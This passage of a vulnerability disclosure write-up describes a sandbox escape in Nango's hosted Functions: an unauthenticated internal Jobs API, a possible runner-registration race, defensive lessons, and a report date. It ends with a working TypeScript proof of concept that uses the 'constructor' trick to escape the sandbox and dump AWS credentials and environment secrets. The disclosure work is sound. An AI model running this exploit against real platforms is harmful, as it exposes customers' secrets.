&lt;p&gt;The Jobs service does have some interesting APIs and as mentioned in issue #1, has no authentication. One of those APIs is &lt;code&gt;/runners/:nodeId/register&lt;/code&gt; which registers a Function runner (i.e. the lambda we are running in). Last I checked there was no validation on the AWS account of the lambda you could register so, theoretically you could win a race with the actual runner registration (caused by an update or similar operation) then exfil other customers&#39; default API keys. This would also cause an outage as your lambda wouldn&#39;t have internal network access.&lt;/p&gt;
&lt;h3 id=&quot;aws-resources&quot;&gt;AWS resources&lt;/h3&gt;
&lt;p&gt;From the env vars there are 2 that look juicy,&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;DD_API_KEY_SECRET_ARN&lt;/p&gt;
&lt;p&gt;I did not validate that the lambda actually had access to the secret, but I&#39;m not too sure if this secret would be that useful. Maybe you could publish some fun logs/metrics.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;LAMBDA_PAYLOADS_BUCKET_NAME&lt;/p&gt;
&lt;p&gt;This S3 bucket holds the code for Functions and inputs where the payload is large. This means if you could read the Function&#39;s files from S3 you would have access to their code and any large inputs.
Unfortunately, the lambda does not have access to list objects in that bucket. Guessing the path would require a team ID, environment ID, and a task ID which is impractical.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is about where I stopped as I got bored of Nango and reported the findings on 2026-07-08.&lt;/p&gt;
&lt;h2 id=&quot;lessons&quot;&gt;Lessons&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Authenticate and authorize requests especially to sensitive APIs.&lt;/li&gt;
&lt;li&gt;If you really have to run untrusted workloads, isolate them and treat their access as external. In Nango&#39;s case, this would look like treating the required APIs for a Function as public (access authorized against each customers&#39; default API key) and not trusting the runtime of the untrusted workload to self report its usage.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;poc&quot;&gt;PoC&lt;/h2&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;typescript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-8 z-i&quot;&gt;// private-api-generic/actions/test.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-8 z-i&quot;&gt;// Deploy with `nango deploy` and invoke with d=&amp;#39;constructor&amp;#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-8 z-i&quot;&gt;// I put constructor in the input as nango blocks functions with the use of&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-8 z-i&quot;&gt;//  .constructor&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;import&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; createAction&lt;/span&gt;&lt;span&gt; }&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; from&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;nango&amp;#39;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;z-4&quot;&gt; *&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; as&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; z&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; from&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;zod&amp;#39;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;export default&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt; createAction&lt;/span&gt;&lt;span&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    description:&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;Test action&amp;#39;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    version:&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; &amp;#39;1.0.0&amp;#39;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    input:&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; z&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt;object&lt;/span&gt;&lt;span&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        d:&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; z&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt;string&lt;/span&gt;&lt;span&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    output:&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; z&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt;any&lt;/span&gt;&lt;span&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-16&quot;&gt;    exec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-17 z-b&quot;&gt; async&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;nango&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; input&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-17 z-b&quot;&gt; =&amp;gt;&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;    try&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;          const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; e&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; =&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;nango&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; as&lt;/span&gt;&lt;span class=&quot;z-5&quot;&gt; any&lt;/span&gt;&lt;span&gt;)[&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;input&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;d&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;          const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; c&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;const module = globalThis.process.getBuiltinModule(&amp;#39;module&amp;#39;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;const fs = globalThis.process.getBuiltinModule(&amp;#39;fs&amp;#39;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;const env = globalThis.process.env;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;const require = module.createRequire(&amp;#39;file:///var/task/node_modules&amp;#39;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;const { STSClient, GetCallerIdentityCommand } = require(&amp;#39;@aws-sdk/client-sts&amp;#39;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;const client = new STSClient({});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;// Demonstrate access to AWS creds&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;const caller = await client.send(new GetCallerIdentityCommand({}));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;// Demonstrate connectivity to jobs service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;const health_check_result = await fetch(&lt;/span&gt;&lt;span class=&quot;z-19&quot;&gt;\`\$&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt;{env[&amp;#39;JOBS_SERVICE_URL&amp;#39;]}/health&lt;/span&gt;&lt;span class=&quot;z-19&quot;&gt;\`&lt;/span&gt;&lt;span class=&quot;z-7&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;const message = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;    healthCheck: await health_check_result.json(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;    caller,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;    // Demonstrate extraction of env secrets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;    env,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;return { message };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-7&quot;&gt;          `&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-17 z-b&quot;&gt;          const&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; result&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; = await&lt;/span&gt;&lt;span class=&quot;z-16&quot;&gt; e&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;c&lt;/span&gt;&lt;span&gt;)();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;          return&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; result&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;      catch&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt;err&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;          return&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                  error:&lt;/span&gt;&lt;span class=&quot;z-14 z-i&quot;&gt; err&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;          };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content>
        
    </entry>
</feed>
